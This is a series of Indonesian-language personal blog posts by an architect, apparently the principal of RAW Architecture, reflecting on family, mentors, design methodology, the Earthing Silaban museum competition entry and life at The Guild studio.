Kategori
primary

Etos

There’s only one thing more precious than our time and that’s who we spend it on.”-Leo Christopher

Ibu saya selalu menemani ayah saya ketika bekerja. Saya ingat ayah saya bercerita ketika ibu dan ayah saya menghadap ke Teddy Boen di pagi – pagi justru ketika Pak Teddy belum ke kantor. Pak Teddy pun terkejut melihat ayah ibu saya disana, intinya mereka ingin mendiskusikan beberapa tagihan tambahan karena memang diperlukan. Dan benar saja Pak Teddy selalu mengingat ibu dan ayah saya. Mereka selalu berpesan bahwa bangun pagi – pagi, selalu ada rejeki untuk orang yang bersiap – siap dan tak kenal menyerah, biasa jam 5.00 mereka sudah bangun dan menunggu untuk ngopi atau ngeteh bersama.

Ada alasan kenapa saya membuat kisah tentang ayah dan ibu yang memang adalah dasar kami berpraktik yakni sederhana, tidak bertele – tele dan tetap personal. Ibu saya atau seringnya dipanggil ama sama cucu – cucunya ini paling gokil, ia adalah ibu ketua RT yang pernah mimpin demo bersama warga gara – gara gorong – gorong air ditutup sama pemerintah. Untuk saya, ibu kami ini adalah ibu yang terbaik di dunia dan saya mendapatkan energinya semangatnya yang ngga bisa diam. Didiemin sedikit ssstttt “Eh tau – tau udah manjat lemari dia ngejer cicak.” Lol. Hal tersebut membuat hal tersebut juga turun ke Miraclerich punya energi yang luar biasa alias tidak bisa diam. Ibu saya selalu menemani ayah saya, mencatat administrasi, sembari mengurus keperluan rumah tangga kami, termasuk mengajarkan aturan yang disiplin tanpa mengikat. Ia menghargai waktu dan mereka memilih dengan siapa mereka meluangkan waktu. Laurensia sekarang juga membantu kami di dalam pengaturan studio yang tidak mudah.

Studio @rawarchitecture_best pun dibentuk dengan energi yang seperti itu, sebuah prinsip energi yang positif, desain seperti mempersiapkan sebuah hidangan makanan, preparation, preparation, preparation. Waktu yang panjang dilakukan untuk pengecekan – pengecekan gambar. Setiap pagi saya mencoba untuk mengecek

kesiapan setiap hari, meskipun tidak mudah untuk menerapkan hal tersebut di tim besar, segala sesuatu yang dimulai dari hal yang sederhana akan membuahkan hasilnya positif. Setelah ini baru saya akan menyajikan proses berkarya studio kami, setelah mengetahui etos yang merupakan titik awal studio yang berisi anak – anak muda yang sungguh saya banggakan.

.

Kategori
primary

Bayangan Sebuah Proses

Cinta yang terbaik muncul lebih karena terbiasa, tulus tanpa pretensi. Contohnya studio arsitek adalah simbol, profesi adalah simbol, prestasi adalah simbol. Seperti layaknya simbol ia punya dua sisi mata uang yang selalu kontradiktif. Satu sisi ia memberikan penghargaan juga memberikan kenanaran akan lupa diri, atau mudahnya satu sisi memberikan kedekatan dan di sisi lainnya memberikan jarak dari kegembiraan penjelajahan. Hal ini diibaratkan perjalanan menjembatani simbol menuju hal yang esensial/mengakar. Salah satu hal yang perlu dipikirkan bisa jadi hal – hal yang non-esensial (biasa) itulah yang esensial, membuat perjalanan menjadi penuh dengan kegembiraan paradoks di dua sisi mata koin yang berbeda.

Salah satu cara yang bisa diterapkan dengan kontemplatif adalah menembus 7 lapisan “chanel” desain ke atas : relasi klien, estetik, ekpresi, wacana publik, lokalitas, pragma. Juga menembus 7 lapisan ke bawah : bentuk, kulit, kerangka, reprogram, MEP, material, kawruh jiwa. Kerja kriya (pemikiran tulisan ataupun karya dan jiwa ada di tengah – tengah). Penembusan lapisan – lapisan tersebut muncul dari inisiatif penjelajahan yakni kegembiraan berproses (dilampirkan di post mengenai progress tahun demi tahun).

Terkadang hasil dari proses itu tidak datang cepat, dibalik ketidak pastian menunggu hasil tersebut muncul perasaan cemas, bingung, tertekan. Sebenarnya hal tersebut wajar, contohnya di balik kegembiraan sebuah hasil yang muktahir sebenernya rasa “gembira” tersebut terkait dengan “bayangan” yang muncul di dalam sebuah proses. Saya sadar seperti halnya karakter Kabar gembira yang juga memiliki kabar sedih, begitupun juga karakter kabar sedih yang memiliki kabar gembira. Kedua hal tersebut memberikan bayangan – bayangan yang perlu diberikan jarak untuk menemukan inti diri kembali. Di balik berbagai hambatan akan covid 19 yang nyata- nyata memberikan sebuah perubahan yang mau tidak mau harus diamini, memang kita semua, termasuk saya sendiri harus berubah, beradaptasi menuju new upnormal (meningkat) bukan abnormal.

Ada kabar gembira untuk rekan-rekan saya di studio dan klien – klien dari panitia INDE Award 2020, bahwa @rawarchitecture_best masuk nominasi. Yang bisa saya lakukan adalah mengucap syukur lalu kembali jalan lagi, menyadari dibalik kabar gembira juga muncul bayang bayang badai yang masih belum selesai, kita bertransformasi menuju new upnormal. Yuk.

Kategori
DAILY

Elang Teluk Betung

Ini ayah saya, namanya Asnawi Sjarief, opa kami, yang ngga segesit ibu saya tapi matanya tajam seperti elang.Ia adalah seorang pemain bulutangkis yang sempat jadi elang Teluk Betung, meskipun badannya kecil ia terkenal dengan jumping smashnya. Ia menyaksikan kehebatan satu legenda pelatih Indonesia Tong Sin Fu dalam melatih reflek, teknik bermain dengan etos berlatih tinggi sampai berkelahi ketika harus mempertahankan prinsip hidupnya. Tong Sin Fu sekarang melatih Lin Dan, dan kaliber dunia lainnya menjadi juara dunia. Dulu om Tong sempat melatih Icuk Sugiarto, Alan Budikusuma, Ardy Wiranata, Hariyanto Arbi, Hendrawan. Ia melatih murid2nya untuk meraih puluhan gelar juara termasuk 3 olimpiade, piala Thomas, Uber dan banyak piala lainnya. Untuk saya figur Tong Sin Fu dan Ayah saya adalah figur dasar bagaimana arsitek perlu memiliki prinsip hidup dan latihan yang intensif.

Seorang ayah adalah pelita bagi anak – anaknya, begitupun ayah saya yang sudah disebut opa oleh cucu2nya. Saya sangat kangen sekali untuk berkunjung ke tempat ayah saya hanya untuk sekedar mendengarkan ia mengulangi kisah – kisah hidupnya bertemu orang – orang luar biasa termasuk ketika ia membicarakan terus Teddy Boen dan menanyakan ke saya, kamu sudah kontak pak Teddy Boen ?

Akhirnya saya bertemu pak Teddy sebelum pada saat itu sata bertemu almarhum pak Adhi Moersid. Saya diceritakan mengenai prinsip – prinsip hidup berelasi dengan engineer dan menegaskan bahwa empati, hati diperlukan di dalam menjalani praktik. Ternyata beliau adalah insinyur struktur dari Said Naum, yang merupakan partner almarhum Pak Adhi Moersid dan Atelier 6 Arsitek. Teddy Boen hanya berkata your dad is really good person, teliti dalam bekerja dan tidak omong besar. Hidup ini memang berputar seperti pasir di pantai kadang ia tertarik ke dasar lautan mendalami prinsip hidup untuk kembali ke daratan mendalami bahwa semua hal ini terelasi.Le Corbusier memahami ini di dalam gambaran saat – saat dirinya bermain di pantai dan menemukan poetic objet, dari situ ia memahami bahasa alam melalui kerang, bentuk alam.

Setelah saya selesai menemui almarhum Adhi Moersid dan Teddy Boen. Pak Teddy menitipkan 10 buah buku dan prototipe rumah tahan gempa yang berguna untuk masyarakat yang adalah dokumen publik

saya kembali ke rumah ayah saya. Saya ingat ia menyambut ke depan dan langsung menanyakan , gimana sudah bertemu ? Saya mengiyakan dan melihat matanya berbinar – binar.

Kategori
primary

Mindful Project

“Wisdom says we are nothing. Love says we are everything. Between these two our life flows.” – Jack Kornfield
.
Kemarin saya bertemu Hendrick Hengki,ia datang ke The Guild, sudah lama saya tidak bertemu dengan dia. ia aktif di dalam Mindfull Project, sebuah gerakan meditasi yang melayani orang- orang yang membutuhkan ketenangan di dalam bekerja, dan membutuhkan ketenangan di dalam menjalani keseharian. Ia adalah salah seorang yang berbakat dan saya ingat karena Tugas Akhirnya yang menggabungkan kesatuan jiwa, tubuh, dan akal sebuah kesatuan di dalam desain sebuah tempat peribadatan.
.
Saya menyapanya, untuk menanyakan kabar – kabarnya, proyek apa yang sedang ia kerjakan, mendesain beberapa proyek termasuk memperhitungkan fengshuinya. Ia kemudian berbicara “Kak mau saya bantu liat Feng Shui bangunan ini (The Guild) ? ” kemudian ia menjelaskan teori energi, berdasarkan tanggal lahir, bulan lahir. Ia pun meneruskan dan memberikan saran, tempat duduk kakak sebaiknya dipindah kesini kak, ke sisi timur supaya lebih harmonis. Tempat tidur pun harus dirubah kesini. Perubahan – perubahan yang diusulkan tidak terlalu banyak, namun saya terkesan karena keinginannya untuk membantu saya, keluarga, dan studio. Ia datang untuk bertegur sapa, menciptakan perubahan. Ia pun bilang kak, ini efeknya tidak akan langsung, butuh beberapa waktu.
.
Kita di dalam hidup memiliki jalan masing – masing, di tengah persimpangan kita bertemu dan berpisah, bertemu dan berpisah kembali. Di dalam pertemuan itu ada setiap pembelajaran, adalah sebuah kebahagiaan tersendiri begitu melihat murid, sahabat kita berkembang dengan caranya masing – masing, keunikannya masing – masing. Harmoni muncul menampakkan bahasanya.
.
Sunyata in the architecture, how to make holistic experience :) Hendrick Tanuwidjaja grows his mindful project has shared his valuable view for us, me and fam, thank you :)
.

Kategori
primary

5 Levels of Architecture Mastery

Tahun ini umur saya 38 adalah saat – saat yang membuat saya bersyukur karena dikelilingi keluarga dan teman yang luar biasa. Bisa berkarya, bisa terus belajar, bisa terus berbagi. Rasanya itu sudah lebih dari cukup untuk merayakan ulang tahun yang sederhana. Terima kasih Laurensia, dokter gigi terbaik yang menemani langkah – langkah, juga malaikat kecil kami Miraclerich. Malaikat – malaikat kecil yang menjaga langkah kita sebagai orang tua untuk memberikan contoh dan teladan yang baik. Masalah – masalah terus muncul di sekitar kita, dinamisnya pekerjaan arsitek, perjumpaan setiap hari dengan orang – orang yang berbeda, dan ekspektasi desain yang terus berkembang, lalu bagaimana menata tingkatannya untuk menuju sebuah penguasaan yang mumpuni ?
.
Miraclerich, adalah anak pertama kami, ia hidup di dalam lingkungan arsitektur yang kreatif yang dikeliling dengan staff – staff saya di kantor. Tiga kali dalam satu minggu Ia menemani Laurensia ketika berangkat untuk berpraktek, ia biasa dititipkan di orang tua kami untuk menemani orang tua kami yang kangen dengan cucunya. Hal yang paling saya takutkan adalah apabila Miraclerich tumbuh sebagai anak yang egois dan lepas dari konteksnya sebagai makhluk sosial. Dimana kami tidak bisa mengatur Miracle setiap saat seperti mengatur apa yang ia lihat, interaksi apa yang ia lakukan, siapa saja temannya. Miracle sekarang sudah bersekolah, ia berumur 4 tahun. Laurensia berusaha untuk mengatur jadwal Miracle supaya ia bisa mengerti pentingnya pengaturan waktu, mengerti kewajiban untuk belajar mengeja atau menulis dan haknya untuk bermain – main. Terkadang ia meminta ijin untuk menonton youtube, gadget, ataupun bermain – main dengan motoriknya. Di balik cepatnya informasi on-line (Internet of Things) yang ada sekarang ini, Jonah Berger memberikan beberapa informasi bahwa interaksi offline masih memegang peranan penting untuk menunjang sebuah kesuksesan. Ia berkesimpuan bahwa cepatnya informasi tidak membuat manusia kehilangan posisinya sebagai makhluk sosial.
.
Di tahun 2019, kegiatan sehari – hari saya lakukan dengan kegiatan praktek sebagai arsitek, menulis, mendesain, dan mengajar. Di semester pertama 2020 ini, saya mengajar mata kuliah strategi arsitektur berkelanjutan. Sebelum itu, saya menulis buku Methodgram dibantu oleh Anas Hidayat sebagai teman berdiskusi dan rekan penulis, juga Jo Adiyanto sebagai penyunting yang membantu meruntunkan pemikiran saya yang rhizomatik (bercabang – cabang). Hal yang ditulis tersebut berdasarkan dari 7 tahap metodologi desain untuk arsitektur berkelanjutan. Hal ini didapatkan sebagai pengetahuan dasar ketika kerja di Foster and Partners, London yang menurut saya penting untuk dibagikan di dalam membentuk metodologi arsitektur yang berkelanjutan. Metodologi desain berguna karena bisa memetakan permasalahan desain, menyederhanakan permasalahan yang kompleks di dalam skala bangunan yang semakin besar, tim yang semakin beragam, dan waktu yang terbatas. Hal tersebut dimulai dari :

1. Konteks, pemahaman site yang menyeluruh
2. Massa bangunan yang responsif
3. Selubung kulit bangunan
4. konfigurasi ruang dalam
5. Optimalisasi desain sistem mekanikal, elektrikal, dan pemipaan
6. Optimalisasi penggunaan energi dan air
7. Material yang ramah lingkungan

Ketujuh hal tersebut membentuk sebuah hasil relasi antara klien dan arsitek dari analisa tapak, brief, program, desain, dan implementasi. Desain hanyalah satu aspek dari 5 aspek tersebut, hal tersebut merujuk kepada kata “kontekstual” untuk memberikan tanggapan dari lahan, pengguna, dan ilmu desain untuk sendiri melalui analisa ulang terhadap metodologi desain yang dimiliki sebelumnya. Keseluruhan pengalaman ini, ternyata saling terkait satu sama lain membentuk kemajuan yang saling mempengaruhi. Metodologi desain penting untuk bisa dikuasai. Satu saat ketika saya berdiskusi dengan teman saya Nantapon di Bangkok di dalam perjalanan ke Ayuthaya. Ia bertanya mengenai tingkatan kemumpunian seorang arsitek. Saya berusaha merangkum apa yang saya alami, dan menjelaskan ke Nantapon mengenai 5 tingkat kemumpunian.

Tahap pertama adalah, tahap pengenalan diri sendiri untuk mengakui siapa kita, apa yang membentuk kita dan menghargai orang – orang yang membuat kita seperti sekarang untuk membuat kita memulai fase tekun dalam bekerja, cinta dalam berbuat, sebuah perayaan untuk tradisi berbuat dengan sikap untuk selalu belajar, tekun, dan rendah hati, sebuah sikap pengabdian…

Tahap kedua adalah tahap memodifikasi ruang, yang salah satunya adalah teknik sterotomik (melubangi), hal ini dimerupakan proyeksi garis tangan. Proyeksi garis tangan ini adalah sebuah aktualisasi diri yang membutuhkan keberanian untuk menempuh resiko untuk menembus stereotipe bentuk – bentuk yang sudah menjadi asumsi dasar desain…

Tahap ketiga adalah tahap menguasai tektonika grammar, sebuah teknik penguasaan detail di tahap implementasi yang fokus kepada optimalisasi bahan, waktu pengerjaan, dan penemuan alat untuk mempermudah sistem kerja…

Tahap keempat adalah tahap metodologi, dimana desain bisa menyelesaikan masalah yang sulit dan kompleks dengan cara dan strategi yang sederhana …

Tahap kelima adalah evaluasi total, sebuah tahap memutarbalik atau melawan metodologi sendiri, tektonika yang sudah terbangun, ruang yang sudah dicipta, dan titik awal yang menjadi identitas arsitek
.
Menuju fase lahir kembali … membantu orang lain untuk menemukan jalannya masing – masing
.
Hari ini adalah Tahun baru bulan, adalah saat – saat dimana berkumpulnya keluarga, reuni, dan penanda musim semi dimulai. Betapapun jauhnya seseorang dari rumahnya, setiap orang filosofinya akan berusaha untuk pulang untuk makan bersama. Kemarin saya sampai sedikit terlambat untuk berkumpul bersama keluarga, karena perlu untuk mengunjungi satu pekerjaan di Jakarta Pusat. Ayah saya sudah menunggu untuk sedikit ngobrol dan sedikit berdiskusi tentang proyek – proyek, dari beliau saya belajar untuk sabar, dan menjaga hubungan yang baik dengan orang lain, fokus ke hal – hal yang dasar dan sederhana untuk berkarya. Untuk kami, saat – saat ini adalah saat dimana bulan datang, inilah saat untuk menghargai orang tua, bertemu saudara – saudara dan belajar untuk berbagi di dalam amplop kantong merah merupakan pertanda hati atau cinta yang berisi sebuah harapan untuk keberuntungan, kesuksesan, kesehatan di masa depan untuk kawan – kawan semua dimana semoga kantongnya semakin tebal, jiwanya semakin mulia, dan hidup semakin bahagia menuju ke bulan. Tuhan tolong berkati teman – teman semua supaya selalu dimudahkan jalannya diberi kesuksesan berupa : kesehatan dan rejeki, dan pertemanan yang selama – lamanya dan diberikan sebuah fase untuk lahir kembali.
.
Salam dari kami sekeluarga @laurensiayudith + miraclerich ^^
.

Kategori
project

Earthing Silaban – Finalist of Museum Silaban Design Open Competition

 

Sayembara ini merupakan eksperimen yang dilakukan untuk memberikan optimalisasi luasan area yang terdesain dengan meletakkan desain massa di sisi yang rawan longsor yang ada di sisi batas bangunan. Lahan gudul yang menjadi lokasi merupakan bekas pertambangan pasir yang merupakan hasil perbuatan penambang yang berusaha menghasilkan keuntungan dari lokasi, mengusahakan yang terbaik yang bisa didapat untuk kepentingannya dan kesejahteraannya.

Seiring dengan perjalanan, dengan contoh di lahan ini, manusia lupa bahwa perlu ada memberi kembali pada alam sehingga lupa untuk mengembalikan apa yang sudah diambil hingga lahan itu menjadi rusak, terbengkalai dan buruk kualitasnya. Oleh karna itu desain dari Earthing Silaban berupaya mengembalikan esensi yaitu kebergunaan dari lahan menjadi hal yang penting untuk memberi makna baru dan kebergunaan baru, yang dimetaforakan dengan sama seperti legenda Tungkot Tunggal Panaluan, yaitu memaknai sebuah kejadian pilu menjadi suatu hal positif dan tidak saling menyalahkan. Bentuk dari Tungko Tunggal Panaluan ini menyiratkan bentuk massa bangunan yang memanjang yang merupakan hasil optimalisasi dari Cut and Fill lahan yang didasarkan kedalam strategi desain arsitektur yang berkelanjutan, efisien, low carbon footprint, dan meminimalisasi dampak lingkungan dengan memperbesar dampak positif dengan mengolah ruang – ruang yang positif.

Konsep perencanaan Monumen Friedrich Silaban didasarkan pada kesadaran untuk mengobati lahan yang rusak dengan prinsip utama bertitik berat pada respon bangunan yang optimal terhadap konteks dengan menyesuaikan bangunan sebagai bagian dari kontur ikut membantu menguatkan kontur berbukit di bagian belakang site, mengamankan lahan dari kemungkinan adanya longsor. Konsep perencanaan Monumen Friedrich Silaban didasarkan pada beberapa prinsip :

Prinsip pertama bertitik erat pada respon bangunan terhadap konteks tanpa merusak lingkungan, Upaya passive cooling juga dilakukan dengan menggunakan corong untuk menangkap angin. Corong berupa dinding dengan skala ketinggian yang massive agar angin terkumpul secara maksimal tanpa halangan. Selain untuk menangkap angin, dinding yang tinggi juga digunakan untuk pencahayaan alami melalui skylight. Skylight ditempatkan di antara fungsi-fungsi ruang sehingga setiap ruang mendapat akses langsung dengan pencahayaan alami.Lokalitas juga tercermin dalam pemilihan material berupa batu kapur putih.

Prinsip kedua berhubungan dengan kebermanfaatan monumen Friedrich Silaban ini terhadap masyarakat sekitar. Beberapa spot dapat digunakan untuk aktivitas publik, seperti tangga masuk yang dibuat lebar agar dapat digunakan pengunjung untuk duduk-duduk, bersantai atau bisa digunakan untuk platform aktifitas publik (pertemuan, pementasan musik, teater dan lain sebagainya

Prinsip ketiga yaitu memberikan jiwa dan karakteristik Friedrich Silaban ke dalam bangunan, menjadikan monumen Friedrich Silaban ini memiliki sifat seperti Silaban itu sendiri. Penggunaan geometri yang sederhana serta pengunaan skala yang humanistis namun monumental yang merepresentasikan kesederhanaan.

Desain dari konsep Silaban Membumi “Earthing Silaban” ini mendemonstrasikan kesederhanaan Silaban dengan reduksi arsitektur yang radikal, meredefinisikan museum sebagai ruang yang bermain dengan cahaya, kesederhanaan, ruang – ruang yang humanis namun monumental.

Sayembara ini dikerjakan di dalam waktu sekitar 4 hari, waktu yang tidak lama karena kesibukan kami, di dalam proses pengerjaan terdapat saat – saat untuk merefleksikan kembali kejernihan metodologi desain. Dan pilihan – pilihan yang muncul dan disepakati di dalam proses diskusi membuat desain dari Museum ini memberikan titik yang baru di dalam proses perencanaan yang lebih solid dan radikal.

Design Team :
Principal : Realrichsjarief
Team : Alifian Kharisma, Fakhriyah Khairunnisa, Thomas Santoso, Michael Chen, Timbul Simanjorang, Kanigara Ubazti.
.
Juror :
1. Ir. Diana Kusumastuti, MT. / Direktur Bina Penataan Bangunan, Direktorat Jenderal Cipta Karya Kementerian PUPR
2. Sahat Silaban, SE / Pengagas Monumen Friedrich Silaban
3. Drs. Tonny Sihombing, M.IP / Pemerintah Daerah Kab. Humbang Hasundutan
4. Prof. Ir. Gunawan Tjahjono, IAI., M.Arc., Ph.D / Ikatan Arsitek Indonesia
5. Ir. Baskoro Tedjo MSEB,Ph.D / Ikatan Arsitek Indonesia
6. Boy Brahmawanta Sembiring, IAI, AA / Ikatan Arsitek Indonesia Sumatera Utara
7. Setiadi Sopandi, IAI., ST., M.A.rch / Penulis Buku Friedrich Silaban
.
#realricharchitectureworkshop #rawarchitecture #spirit45theriseofasia

Kategori
primary

Secretive – The Guild

Sudah sekitar hampir 2 tahun diri ini tidak menulis di catatan Mayonnaise Jar, salah satu alasannya adalah membutuhkan waktu untuk mengorientasikan titik awal. Titik awal adalah sebuah proses dimana perlu untuk mereposisikan kembali tujuan untuk menjalani kehidupan sehari – hari yang dilakukan. Setelah 2 tahun ini, baru kali ini bisa memiliki jeda di dalam praktek. Di dalam reposisi tersebut pasti ada hal – hal yang dihindari memutuskan untuk mulai fokus untuk area- area yang menjadi kegembiraan dan kebahagiaan. Laurensia pun sibuk membantu di studio untuk mengatur manajemen studio di sela – sela kesibukannya sebagai dokter gigi. Miraclerich pun mengalami perubahan yang pesat dari 2 tahun menuju 4 tahun, ia sudah bisa mengatur dirinya sendiri, buang air, belajar, mandi ia mencoba untuk mandiri dan tidak bergantung dari kami. Miraclerich sudah bisa mulai makan sendiri dan mulai tidak merepotkan mamanya meskipun ia masih belum bisa tidur sendiri. Dan kakinya masih suka menendang kepala yang seringkali membangunkan di pagi – pagi subuh yang berguna untuk mengingatkan untuk memiliki saat teduh di pagi hari.

.

Perubahan di dalam pekerjaan ini ditandai dengan mulai nampak proyek – proyek dengan klien – klien yang sungguh menghargai apa yang sedang dikerjakan. Hal lain juga terlihat dari selesainya 4 buku RAW Architecture : The Guild, Dancer House, Tectogram, Methodgram yang membantu reposisi titik awal tersebut ke titik yang baru dimana evaluasi beberapa teori yang berbeda bisa dilakukan yakni teori yang membentuk titik awal (origin), teori mengenai penggubahan ruang, teori mengenai tektonika, dan teori mengenai metode desain. ke 4 buku tersebut saya tulis bersama Anas Hidayat, seoarang dalang dari Surabaya. Di titik ini tidak dibutuhkan drama – drama di dalam proyek yang memang tidak perlu. Dengan keseharian yang ada sekarang kebahagiaan bisa dirasakan dengan keseharian bersama laurensia, miracle, dan kawan – kawan sedulur dan beberapa kawan yang bisa langsung dekat meski baru kenal.
.
Setiap pojok di The Guild adalah cerita tentang proses yang terjadi, perubahan tempat, konstruksi, penambahan konstruksi yang seringkali ditandai dengan mutilasi terhadap bentuk – bentuk yang terjadi dengan tujuan eksperimentasi untuk membuat teknik yang semakin ringan, mudah dan murah. Mutilasi adalah sebuah daya eksperimen yang berani untuk memotong, menambah, merubah ulang desain yang sudah terkotak – kotak di dalam iterasi sebelumnya. Mutilasi ini adalah tahap adaptasi total, itulah tahap dimana proses pembuatan karya di antara tegangan industri dan tradisional dimana terciptalah komposisi material natural fiber dan material industri. Proses ini membutuhkan kerelaan untuk menciptakan iterasi dari proses konsep sampai keterbangunan di dalam lingkaran untuk terus belajar dan bereksperimen. The Guild adalah representasi komposisi adaptasi total dengan permainan berbagai material yang berbeda – beda yang dikonstruksikan untuk semakin ringan, mudah, murah.

.

Ada beberapa hal yang saya sangat banggakan di dua tahun ini. Dua tahun ini saya mencoba mencarikan pekerjaan untuk tim pengrajin saya asli Sumedang dan akhirnya berhasil dengan adanya klien – klien yang tertarik untuk bereksperimen. Memang sulit mencari klien yang mau melakukan eksperimen. Saya terkadang mendapatkan proyek renovasi – renovasi kecil untuk mereka selama proyek eksperimen bisa terus dilakukan di tahun pertama, terkadang kami harus mmembantu dapur tukang – tukang kami supaya bisa menyambung hidup. Ada yang keluarganya sakit, ada yang anaknya sakit. Terkadang di dalam pekerjaan juga tidak mudah, banyak juga yang menunggu – nunggu saya, sedangkan saya terkadang masih membutuhkan waktu untuk berpikir.
.

Hal yang lain daerah The Guild, ada di perbatasan Jakarta dan Tangerang berada di lokasi yang cukup jauh dari pusat keramaian. Keramaian yang paling dekat adalah tetangga yang membuka warung kopi sederhana. Lokasi yang terpencil ini membuat The Guild menjadi sebuah tempat yang tersembunyi, tempat yang sempurna untuk saya bisa menarik nafas sejenak dari hiruk pikuknya Jakarta. Daerah ini adalah daerah yang cukup rawan sejak proses konstruksi, seringnya laptop hilang, motor hilang, penjambretan, rumah kemalingan, pencurian alat bangunan sering terjadi. Oleh karena itu dinding yang ada di the guild relatif tinggi. Oleh karena itu di sebelahnya diletakkan perpustakaan anak yang tanpa dinding, tempat ini ada tempat rekonsiliasi ulang dimana dengan adanya banyak anak – anak berkunjung, keamanan dan rajutan sosial akan tumbuh. Program – program berbagi buku terus kami lakukan dan semoga bisa makin membesar dengan banyaknya buku yang dibagikan dan dibaca oleh anak – anak.

.

Di antara seluruh hal – hal baik yang terjadi, Di titik ini fokus berkarya dibutuhkan, melakukan eksperimen – eksperimen arsitektur, mengevaluasi diri melalui spekulasi- spekulasi teori, menjelajah banyak hal yang perlu masih perlu disempurnakan. Di saat ini waktu untuk diri sendiri dibutuhkan supaya bisa melayani lebih baik, oleh karena itu The Guild adalah sebuah tempat yang bisa mewadahi untuk bersembunyi atau ngumpet. Sayup – sayup suara Miraclerich terdengar “papa ya kerja terus , ayo makan ! ” ^^

Kategori
primary

2 0 2 0 – Perjalanan Mencinta, Hidupku Hidup Kita…

“Brakkk !!!” Satu pohon kamboja di courtyard The Guild roboh, pohon ini roboh karena kemarin saya meminta pak Darwat supaya tanahnya bisa diratakan, karena rumputnya akan diganti kerikil untuk mempermudah perawatan. Tinggi kerikil yang cukup tebal 25 cm, membuat genangan air tidak terpapar oleh sinar UV. Ketebalan kerikil tersebut mengakibatkan permukaan kerikil selalu kering dan bersih. permukaan kerikil tersebut juga mengakibatkan plaza yang ada di tengah – tengah The Guild bisa digunakan lebih fleksibel tanpa becek, lembap, dan selalu kering. Kursi – kursi bisa diletakkan begitu saja tanpa takut kaki – kaki kursi kotor tertanam tanah. Besok pohon kamboja yang rubuh tersebut akan ditarik dan diberikan penahan supaya bisa tetap berdiri tegak. Ternyata dedaunan pohon tersebut juga terlalu lebat sehingga perlu dipotong, dan dirapihkan. Saya belajar bahwa di balik keringnya dan bersihnya kerikil yang ada, tersedia jaringan pembuangan yang dipikirkan supaya air tidak tergenang. Di balik rubuhnya pohon yang ada di tengah The Guild, ternyata ada pembelajaran yang signifikan
.
Proses pemotongan tersebut identik dengan proses perapihan keseharian mengorganisasi kehidupan sehari – hari. Dimulai dari barang – barang di sekitar saya sehari hari. Seringkali saya menata file buku supaya teratur meskipun rak yang didesain belum selesai dibuat. Dari pengaturan hal – hal yang kecil tersebut, saya belajar untuk bisa fokus. fokus ke hal penting di hidup kita ^^ tanpa perlu melihat orang lain. Hal tersebut sejalan dengan apa yang dipercaya oleh Alfred Adler bahwa setiap orang membentuk karakternya melalui pengalamannya, dan membentuk masa depannya melalui intepretasi masa depannya sendiri seperti apabila kamu menginginkan sesuatu sebegitu kuatnya maka semesta akan terbuka untukmu.
.
Di awal – awal tahun 20 20. Saya berkata pada diri saya sendiri untuk “fokus pada tujuan hidupmu, kamu tidak akan punya waktu untuk menilai kejelekan orang lain. Jangan sampai kesibukanmu menilai kualitas orang lain membuatmu lupa akan kualitas dirimu. fokus pada diri sendiri dalam beribadah, bekerja dan untuk terus menerus bebenah menjadi positif. Semoga kita menjadi lebih baik dan lebih bermanfaat.” Baru kemarin saya bertemu dengan bu Tresnowati, beliau orang yang mengajarkan saya membuat core high rise tower dengan baik. Di tahun 2003 saya ingat saya duduk di belakang dia pada saya magang di Atelier 6 Arsitek. Kemarin adalah saat – saat saya menggali informasi mengenai Pak Adhi Moersid, Pak Yuswadi Saliya, dan bagaimana ekosistem Atelier 6 bekerja. Saya berharap bahwa ada sesuatu yang bisa saya berikan untuk mereka. Perbincangan mengarah ke bagaimana Bu Tresnowati memiliki arsip yang detail mengenai Taman Ismail Marzuki dan bagaimana relasi antar personal di dalam proyek yang berjalan bertahun – tahun. Hal tersebut menggarisbawahi bahwa berpraktek di Indonesia, mengerjakan bangunan dengan ruang studio yang memiliki standar internasional tidak mudah dan membutuhkan jam terbang yang solid.
.
Laurensia dan Miraclerich mengingatkan tentang berjalan berdua – dua. Di dalam tahun yang baru 2020, dua nol dua nol, adalah sebuah tahun untuk berdua – dua, bersama – sama, dari dua menjadi puluhan, dari dua menghasilkan kesempurnaan (0) oleh karena itu ingatlah dari diri sendiri kita berdua – dua lalu karya besar akan lahir. Di dalam saya berintepretasi di tahun 2 0 2 0, ayah saya memberikan celetukan. “Jangan lupa cari ilmu , uang, dan dharma, tiada ketiganya, kamu ngga bisa berbuat lebih.” Celetukan beliau sungguh mendasar dan saya belajar untuk selalu mendengarkan dia. Jadi sebelum berdua – dua, cukuplah akan diri sendiri sebelum mengajak orang lain berjalan bersama.
.
Genapilah dirimu sendiri barulah matahari bersinar mengajak pasanganmu untuk mencinta dan awalilah perjalanan 2020 penuh kasih, yuk mari berjalan.
.

image_e6f04363-9990-4fdb-858d-b92388aae0c4.photo-2020-01-01-22-02-59

 

Kategori
primary

Boonserm Premthada

Beberapa bulan ini saya berusaha mencari teman untuk bisa berdiskusi mengenai arsitektur. Arsitektur di dalam pikiran saya adalah sebuah disiplin yang perlu untuk diperjuangkan dan dihayati yang dimulai dari hal yang kecil yang kemudian menjadi besar, merubah orang yang menempatinya termasuk merubah arsiteknya sendiri. satu karya menuju satu karya yang lainnya. Kualitas ditentukan bukan oleh berapa banyaknya kuantitas yang dikerjakan, kualitas diatas kuantitas. Kualitas pun tidak berbanding lurus dengan kepopuleran satu karya tersebut, penilaian satu karya terhadap yang lain muncul dari kekuatan proses pembuatannya. Hal tersebut yang seringkali membuat saya berdecak kagum karena semangat perubahan, semangat kejujuran, semangat untuk tampil dalam semangat eksperimen tanpa takut salah. Arsitek itu adalah manusia yang seharusnya tampil jujur, apa adanya.
.
Melalui Boonserm dan karyanya saya mendapatkan refleksi dari diskusi kita, saya berusaha merefleksikan pembicaraan kita, energi yang besar, keberanian yang besar, yang membuat refleksi terhadap proses untuk terus berbagi ke orang lain untuk menikmati karya yang mampu berbicara dari hati. Semua orang bisa berbicara banyak melalui kata, namun arsitek berbicara melalui karya. Karya yang dalam berbicara melalui dirinya sendiri, kemudian arsitek meletakkan dirinya di dalam sepatu orang lain. Begitu Ia melihat perbedaan violet le duc terhadap john ruskin. Seketika itulah manifestasi antara konteks, teori, metodologi, implementasi menjadi satu kesatuan. Sungguh sebuah titik yang saya apresiasi. Keterbukaan, semangat untuk berbagi, kejujuran dalam berbuat berpikir dan membentuk masa yang sekarang membuat boonserm ada di konteks yang sekarang.
.
